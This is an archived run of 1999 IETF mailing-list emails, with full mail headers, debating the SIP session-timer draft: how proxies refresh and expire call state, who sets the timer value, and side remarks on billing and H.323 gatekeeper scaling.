>I had earlier discussed an approach method using SUBSCRIBE/NOTIFY (P4
>SUBSCRIBEs to time-mark NOTIFY events on call X from C and S when it
>sees the final ACK of INVITE/OK/ACK for call X). Steve Donovan
>counterproposed the INFO method and was kind enough to write an ID on
>it.
>
>Different solution, but the problem is the same . . .
>
>Can we at least get some consensus that it IS a problem?

Oh, I agree that there is a problem. I am just not sure that the solution 
proposed is the best one. I suppose I need to really understand why the INVITE
approach cannot work to setup soft-state along the proxy chain. you state that
P4 never sees the REGISTER, but I think that the INVITE/ACK is sufficient
for the proxies to build state. Am I wrong?

PatC
>
>Thanks,
>
>--
>Dean Willis
>



From confctrl-owner  Tue Feb 16 07:54:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25405
	for confctrl-outgoing; Tue, 16 Feb 1999 07:54:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25400
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 07:54:18 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA12140
	for <confctrl@isi.edu>; Tue, 16 Feb 1999 07:54:17 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id HAA29586; Tue, 16 Feb 1999 07:53:44 -0800
Received: from hsmpka.eng.sun.com (phys-hsmpka.Eng.Sun.COM [129.146.53.37])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id HAA02568;
	Tue, 16 Feb 1999 07:53:42 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id HAA28944; Tue, 16 Feb 1999 07:50:18 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902161550.HAA28944@hsmpka.eng.sun.com>
Date: Tue, 16 Feb 1999 07:45:40 -0800
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>	
>
>> -----Original Message-----
>> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
>> Sent:	Friday, February 12, 1999 2:46 PM
>> To:	Donovan, Steven R. (MCI); Jonathan Rosenberg;
>> 'Pat.Calhoun@Eng.Sun.COM'
>> Cc:	Douglas Clowes; 'confctrl@ISI.EDU';
>> 'iptel@lists.research.bell-labs.com'
>> Subject:	RE: draft-ietf-mmusic-sip-session-timer-00.txt
>> 
>> 
>> >This is an interesting discussion, however I'm not sure that we are going
>> to
>> >get answers to the questions that Pat is asking.  Only time will tell how
>> >services providers make money off of IP based telephony services.
>> >
>> >However, this is not the purpose of proposing the addition of the session
>> >timer to the SIP protocol.  The primary purpose is to give the stateful
>> SIP
>> >Proxy Server a method of determining the validity of the individual
>> sessions
>> >for which it is keeping state.
>> >
>> >Are there comments on the mechanisms proposed in the session-timer draft?
>> 
>> Yes, and I appologize for side-tracking the whole thread. Is there anyway
>> that we could have shorter INVITEs (perhaps the SIP Server can determine
>> the length of a session), and have the SIP Client re-register with the 
>> server periodically, such as:
>> 
>>    SIP Client --------- INVITE ------------> SIP Server
>>                (some stuff happens here)
>>    SIP Client < ------- ACK (3 mins) ------- SIP Server
>>    (2 mins 45 seconds pass, enough to allow for retransmissions)
>>    SIP Client ---------- FOOBAR -----------> SIP Server
>>    (where FOOBAR is some message that refreshes the session)
>> 
>> This would allow the SIP Server to have soft-state and time out any
>> sessions
>> that have not been re-registered (or foobar'ed in the above example).
>> 
>	The SIP Session Timer draft allows the server to time out sessions
>that have not been extended.  The FOOBAR process is a re-INVITE with a new
>session-expires header.  The only difference is that the initial INVITE has
>the clients requesting duration, where your proposal has the model of the
>SIP server specifying the initial duration.
>
>	The question of the softness or hardness of the state is up the SIP
>server implementation.
>
>	I suppose one optimization to the current draft is to give the SIP
>Server the ability to specify an acceptable session time in the situations
>where the client either doesn't specify a duration or when the client
>specifies an unacceptable (too long) duration.

If this is a simple change, it would provide an enormous amount of control over
the SIP Server that has to maintain session state information.

PatC
>
>> PatC
>> >
>> >Steve
>> >
>> >> -----Original Message-----
>> >> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
>> >> Sent:	Friday, February 12, 1999 9:39 AM
>> >> To:	Jonathan Rosenberg; Pat.Calhoun@Eng.Sun.COM
>> >> Cc:	Donovan, Steven R. (MCI);
>> 'iptel@lists.research.bell-labs.com';
>> >> 'confctrl@ISI.EDU'; Douglas Clowes
>> >> Subject:	Re: draft-ietf-mmusic-sip-session-timer-00.txt
>> >> 
>> >> 
>> >> >Patrice Calhoun wrote:
>> >> >> 
>> >> >> My only concern here is how does the service provider offer a
>> service
>> >> *and*
>> >> >> make at least enough money to recover the capital costs (of course,
>> >> certain
>> >> >> providers may want to cover many additional costs, which is outside
>> the
>> >> scope
>> >> >> of this discussion :).
>> >> >
>> >> >It comes back to the same question thats been brought up here on
>> >> >numerous occassions - what are you billing for? SIP provides the setup
>> >> >services, not the transport services. So, it makes sense for a SIP
>> >> >server to charge for what it actually does - set the call up. It
>> really
>> >> >doesn't make sense, I don't think, to try to bill by the minute for
>> the
>> >> >SIP part of the call, since its really a transaction service. SIP is
>> >> >only one part of the picture, though. There is also transport service
>> -
>> >> >diffserv prioritization, for example. A service provider can happily
>> >> >charge by the minute,bit, packet, or whatever here.
>> >> >
>> >> 
>> >> This is perhaps my mis-understanding. I have been working with the TIA
>> >> recently
>> >> and they have adopted MobileIP/DIAMETER for the next generation
>> cellular
>> >> data networks. When one considers voice over IP using IP cellular
>> phones,
>> >> one
>> >> quickly wonders how the charging will really work. Yes, it is true that
>> >> one
>> >> will charge for network access, but conceivably, one could also charge
>> for
>> >> calls as well. This is especially true if these calls span providers.
>> >> 
>> >> Perhaps I have all of this wrong. I understand that charging for an
>> LDAP
>> >> query cannot amount to much, and perhaps that is all bundled as part of
>> >> the
>> >> access charge. Are there any providers on this list that have an idea
>> on
>> >> how
>> >> they will actually bill for these services?
>> >> 
>> >> PatC
>> >> 
>> >> 
>> >> ---------
>> >> This message came from the IETF IPTEL Working Group Mailing List.
>> 



From confctrl-owner  Tue Feb 16 12:26:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA12421
	for confctrl-outgoing; Tue, 16 Feb 1999 12:26:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12406
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 12:26:56 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA11927
	for <confctrl@ISI.EDU>; Tue, 16 Feb 1999 12:26:54 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id TAA14637; Tue, 16 Feb 1999 19:25:47 GMT
Received: from dwillispc3 ([166.35.227.103]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990216202607.IJKP16006@dwillispc3>;
          Tue, 16 Feb 1999 14:26:07 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: <Pat.Calhoun@Eng.Sun.COM>
Cc: "Conference Control List" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Tue, 16 Feb 1999 14:26:01 -0600
Message-ID: <000d01be59ea$919da680$2e8dfea9@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
In-Reply-To: <199902161534.HAA26159@hsmpka.eng.sun.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Pat Calhoun responded:
>> Dean Willis said:
>>Can we at least get some consensus that it IS a problem?
>
> Oh, I agree that there is a problem. I am just not sure that
> the solution
> proposed is the best one. I suppose I need to really
> understand why the INVITE
> approach cannot work to setup soft-state along the proxy
> chain. you state that
> P4 never sees the REGISTER, but I think that the INVITE/ACK
> is sufficient
> for the proxies to build state. Am I wrong?

INVITE is quite sufficient for proxies to build state, just not
sufficient for them to destroy state if the endpoints fail to signal the
state change.

I'm not sure that the proposed solution is the best one either. Two
timer mechanisms and two active status determination mechanisms have
been discussed as alternatives -- now we debate, maybe someday we have a
consensus?

--
Dean


From confctrl-owner  Tue Feb 16 15:01:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA21858
	for confctrl-outgoing; Tue, 16 Feb 1999 15:01:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21853
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 15:01:37 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA28227
	for <confctrl@ISI.EDU>; Tue, 16 Feb 1999 15:01:35 -0800 (PST)
Received: from Eng.Sun.COM (engmail1 [129.146.1.13]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id PAA14755; Tue, 16 Feb 1999 15:01:03 -0800
Received: from hsmpka.eng.sun.com (phys-hsmpka.Eng.Sun.COM [129.146.53.37])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id PAA22885;
	Tue, 16 Feb 1999 15:00:58 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id PAA15501; Tue, 16 Feb 1999 15:00:44 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902162300.PAA15501@hsmpka.eng.sun.com>
Date: Tue, 16 Feb 1999 14:56:01 -0800
To: "Dean Willis" <Dean.Willis@MCI.COM>, <Pat.Calhoun@Eng.Sun.COM>
Cc: "Conference Control List" <confctrl@ISI.EDU>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>
>Pat Calhoun responded:
>>> Dean Willis said:
>>>Can we at least get some consensus that it IS a problem?
>>
>> Oh, I agree that there is a problem. I am just not sure that
>> the solution
>> proposed is the best one. I suppose I need to really
>> understand why the INVITE
>> approach cannot work to setup soft-state along the proxy
>> chain. you state that
>> P4 never sees the REGISTER, but I think that the INVITE/ACK
>> is sufficient
>> for the proxies to build state. Am I wrong?
>
>INVITE is quite sufficient for proxies to build state, just not
>sufficient for them to destroy state if the endpoints fail to signal the
>state change.
>
>I'm not sure that the proposed solution is the best one either. Two
>timer mechanisms and two active status determination mechanisms have
>been discussed as alternatives -- now we debate, maybe someday we have a
>consensus?

I am sure that we will get to that one day :). However, I would like to
understand why this would not work.

Here is an example:


    SC1 ------> SS1 --------> SS2 -------> SC2

In the above picture, Sip Client 1 (SC1) sends an invite along to its local
Sip Server (SS1). The server adds some timeout information to the request 
and passes this along to SS2. If SS2 is satisfied with the timeout information
added by SS1, it will leave it be. If SS2 requires a smaller timeout period,
SS2 will modify the timeout value and pass the INVITE to SC2.

SC2 must response with an ACK. This ACK could include the timeout period, and
could be checked by either SIP Server to ensure that it meets its local 
policy. The Sip Servers will assume that the session is destroyed within the
timeout period, unless SC1 re-sends another INVITE message.

That said, how can this not be sufficient if the endpoints fail to signal the
state change?

Thanks,

PatC

>
>--
>Dean
>



From confctrl-owner  Tue Feb 16 19:44:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA16676
	for confctrl-outgoing; Tue, 16 Feb 1999 19:44:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA16671
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 19:44:10 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA24593
	for <confctrl@isi.edu>; Tue, 16 Feb 1999 19:44:09 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Feb 16 22:41:02 EST 1999
Received: from dnrc.bell-labs.com (mbarrett1.lra.lucent.com [135.17.250.122])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA17820;
	Tue, 16 Feb 1999 22:40:58 -0500 (EST)
Message-ID: <36CA3A26.D2D1E872@dnrc.bell-labs.com>
Date: Tue, 16 Feb 1999 22:40:22 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Pat.Calhoun@Eng.Sun.COM
CC: Dean Willis <Dean.Willis@MCI.COM>,
        Conference Control List <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <199902162300.PAA15501@hsmpka.eng.sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Patrice Calhoun wrote:
> 
> I am sure that we will get to that one day :). However, I would like to
> understand why this would not work.
> 
> Here is an example:
> 
>     SC1 ------> SS1 --------> SS2 -------> SC2
> 
> In the above picture, Sip Client 1 (SC1) sends an invite along to its local
> Sip Server (SS1). The server adds some timeout information to the request
> and passes this along to SS2. If SS2 is satisfied with the timeout information
> added by SS1, it will leave it be. If SS2 requires a smaller timeout period,
> SS2 will modify the timeout value and pass the INVITE to SC2.
> 
> SC2 must response with an ACK. This ACK could include the timeout period, and
> could be checked by either SIP Server to ensure that it meets its local
> policy. The Sip Servers will assume that the session is destroyed within the
> timeout period, unless SC1 re-sends another INVITE message.

Thats pretty much whats specified in the Donovan draft. THe difference
is that the timeout doesn't get reflected in the ACK. THis is not
needed, though. The timeout should be echoed in the response, which will
be seen by both servers. I think this works just fine. The only issue
has to do with backwards compatibility - knowing that SC1 will
understand the timer in the response.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Feb 16 23:16:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA23645
	for confctrl-outgoing; Tue, 16 Feb 1999 23:16:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA23640
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 23:16:52 -0800 (PST)
Received: from server3.syd.mail.ozemail.net (server3.syd.mail.ozemail.net [203.108.7.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA05426
	for <confctrl@ISI.EDU>; Tue, 16 Feb 1999 23:16:50 -0800 (PST)
Received: from cloweslap (PPPa21-ResaleMonterey1-3R1017.saturn.bbn.com [4.16.34.128]) by server3.syd.mail.ozemail.net (8.9.0/8.6.12.IPASS) with SMTP id SAA13814; Wed, 17 Feb 1999 18:16:31 +1100 (EST)
Message-Id: <3.0.3.32.19990217181058.00fbe370@pop.ozemail.com.au>
X-Sender: dclowes@pop.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 17 Feb 1999 18:10:58 +1100
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        Francois Menard Distribution List Management Account <fm-listproc@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
In-Reply-To: <CA6966C24AC6D111B5A100805FEAB7D857741B@nsrip00208.mcit.com
 >
Mime-Version: 1.0
Content-Type: text/enriched; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 07:40 1999-02-16 -0700, Donovan, Steven R. (MCI) wrote: 

>>>>

<excerpt>

<fontfamily><param>Fixedsys</param><color><param>0000,0000,ffff</param><smaller>...<<snip></smaller></color></fontfamily> 


<smaller>IRR is being used in H.323 to determine if the endpoint is still
alive, but</smaller> 

<smaller>the preference seems to be heading toward gatekeeper routed
calls. Here,</smaller> 

<smaller>you have a TCP connection through the gatekeeper for session
control, but</smaller> 

<smaller>media still goes direct.</smaller> 


<fontfamily><param>Fixedsys</param><color><param>0000,0000,ffff</param><smaller>Doesn't
this have some real scaling and performance problems?  I assume that this
requires setting up a TCP connection per call attempt and limits the
number of sessions that a single gatekeeper can handle to the number of
simultaneous TCP connections that the gatekeeper can handle.

</smaller></color></fontfamily>

</excerpt><<<<<<<<

Well, yes, if you want to state the obvious. Actually, from memory it's
two (or more - I seldom get down to that level) but it begs the question
of the role and scope of a gatekeeper. If you have one gatekeeper per
eight line gateway, it's not a problem. If a gatekeeper's role is keeping
the gate, and its scope is a single gateway or POP up to a few thousand
lines, it's probably still not a problem.


If, OTOH, you want it to be a network controller for a major telco ...
different story.


Regards,


Douglas

>>>>

<excerpt>

<smaller>>-=Francois=-</smaller> 

<smaller>>fmenard@mediatrix.com</smaller> 

<smaller>></smaller> 


<smaller>Douglas</smaller> 


</excerpt><<<<<<<<






From confctrl-owner  Wed Feb 17 01:54:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA29165
	for confctrl-outgoing; Wed, 17 Feb 1999 01:54:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA29160
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 01:54:51 -0800 (PST)
Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA11217
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 01:54:48 -0800 (PST)
Received: from rambo (actually rambo.futures.bt.co.uk) by arthur (local) 
          with SMTP; Wed, 17 Feb 1999 09:51:57 +0000
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Wed, 17 Feb 1999 09:56:17 +0000
Received: by mussel.futures.bt.co.uk 
          with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62) 
          id <01BE5A5A.53624C20@mussel.futures.bt.co.uk>;
          Wed, 17 Feb 1999 09:46:00 -0000
Message-ID: <c=GB%a=_%p=BT%l=TB-PLUTO-990217094416Z-7991@mussel.futures.bt.co.uk>
From: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>
Cc: "'Dean Willis'" <Dean.Willis@MCI.COM>,
        "'Conference Control List'" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Wed, 17 Feb 1999 09:44:16 -0000
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It seems to me that what Pat calls an ACK in his email is not really an
ACK as defined in the SIP spec. It is in fact a response (200 OK) going
from the callee to the caller.
I think that what Pat means is just that the timeout period should be
echoed in the response, which is fine.

Jerome
BT Labs

>-----Original Message-----
>From:	Jonathan Rosenberg [SMTP:jdrosen@dnrc.bell-labs.com]
>Sent:	Wednesday, February 17, 1999 3:40 AM
>To:	Pat.Calhoun@Eng.Sun.COM
>Cc:	Dean Willis; Conference Control List
>Subject:	Re: draft-ietf-mmusic-sip-session-timer-00.txt
>
>Patrice Calhoun wrote:
>> 
>> I am sure that we will get to that one day :). However, I would like to
>> understand why this would not work.
>> 
>> Here is an example:
>> 
>>     SC1 ------> SS1 --------> SS2 -------> SC2
>> 
>> In the above picture, Sip Client 1 (SC1) sends an invite along to its local
>> Sip Server (SS1). The server adds some timeout information to the request
>> and passes this along to SS2. If SS2 is satisfied with the timeout
>>information
>> added by SS1, it will leave it be. If SS2 requires a smaller timeout
>>period,
>> SS2 will modify the timeout value and pass the INVITE to SC2.
>> 
>> SC2 must response with an ACK. This ACK could include the timeout period,
>>and
>> could be checked by either SIP Server to ensure that it meets its local
>> policy. The Sip Servers will assume that the session is destroyed within
>>the
>> timeout period, unless SC1 re-sends another INVITE message.
>
>Thats pretty much whats specified in the Donovan draft. THe difference
>is that the timeout doesn't get reflected in the ACK. THis is not
>needed, though. The timeout should be echoed in the response, which will
>be seen by both servers. I think this works just fine. The only issue
>has to do with backwards compatibility - knowing that SC1 will
>understand the timer in the response.
>
>-Jonathan R.
>
>
>-- 
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb 17 05:29:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA06522
	for confctrl-outgoing; Wed, 17 Feb 1999 05:29:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA06517
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 05:29:37 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA20457
	for <confctrl@isi.edu>; Wed, 17 Feb 1999 05:29:35 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id FAA24509; Wed, 17 Feb 1999 05:29:03 -0800
Received: from hsmpka.eng.sun.com (hsmpka.Eng.Sun.COM [129.146.103.47])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id FAA28293;
	Wed, 17 Feb 1999 05:29:02 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id FAA04774; Wed, 17 Feb 1999 05:28:53 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902171328.FAA04774@hsmpka.eng.sun.com>
Date: Wed, 17 Feb 1999 05:24:03 -0800
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        <Pat.Calhoun@Eng.Sun.COM>
Cc: "Conference Control List" <confctrl@ISI.EDU>,
        "Dean Willis" <Dean.Willis@MCI.COM>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Patrice Calhoun wrote:
>> 
>> I am sure that we will get to that one day :). However, I would like to
>> understand why this would not work.
>> 
>> Here is an example:
>> 
>>     SC1 ------> SS1 --------> SS2 -------> SC2
>> 
>> In the above picture, Sip Client 1 (SC1) sends an invite along to its local
>> Sip Server (SS1). The server adds some timeout information to the request
>> and passes this along to SS2. If SS2 is satisfied with the timeout
>information
>> added by SS1, it will leave it be. If SS2 requires a smaller timeout period,
>> SS2 will modify the timeout value and pass the INVITE to SC2.
>> 
>> SC2 must response with an ACK. This ACK could include the timeout period, and
>> could be checked by either SIP Server to ensure that it meets its local
>> policy. The Sip Servers will assume that the session is destroyed within the
>> timeout period, unless SC1 re-sends another INVITE message.
>
>Thats pretty much whats specified in the Donovan draft. THe difference
>is that the timeout doesn't get reflected in the ACK. THis is not
>needed, though. The timeout should be echoed in the response, which will
>be seen by both servers. I think this works just fine. The only issue
>has to do with backwards compatibility - knowing that SC1 will
>understand the timer in the response.

ok, but what is a client sends a timeout of infinity, and the server's policy
does not allow it to maintain soft state that long for a single session?

PatC
>
>-Jonathan R.
>
>
>-- 
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen



From confctrl-owner  Wed Feb 17 07:32:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA10749
	for confctrl-outgoing; Wed, 17 Feb 1999 07:32:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10744
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 07:32:36 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26348
	for <confctrl@isi.edu>; Wed, 17 Feb 1999 07:32:35 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Feb 17 10:27:01 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id KAA13448;
	Wed, 17 Feb 1999 10:26:55 -0500 (EST)
Message-ID: <36CADF25.FC6907AB@dnrc.bell-labs.com>
Date: Wed, 17 Feb 1999 10:24:21 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Pat.Calhoun@Eng.Sun.COM
CC: Conference Control List <confctrl@ISI.EDU>,
        Dean Willis <Dean.Willis@MCI.COM>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <199902171328.FAA04774@hsmpka.eng.sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Patrice Calhoun wrote:
> 
> >Thats pretty much whats specified in the Donovan draft. THe difference
> >is that the timeout doesn't get reflected in the ACK. THis is not
> >needed, though. The timeout should be echoed in the response, which will
> >be seen by both servers. I think this works just fine. The only issue
> >has to do with backwards compatibility - knowing that SC1 will
> >understand the timer in the response.
> 
> ok, but what is a client sends a timeout of infinity, and the server's policy
> does not allow it to maintain soft state that long for a single session?

I'm not sure what it says in the draft; in a prior email I suggested
that each proxy along the chain can decrease (but not increase) the
value of the timer. The result is that the timer in the response
represents the minimal refresh interval needed by all servers. By
definition, this means that every server will receive a refresh in time
(not true if servers are allowed to increase the interval).

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb 17 08:09:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA12140
	for confctrl-outgoing; Wed, 17 Feb 1999 08:09:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12135
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 08:09:13 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28321
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 08:09:12 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
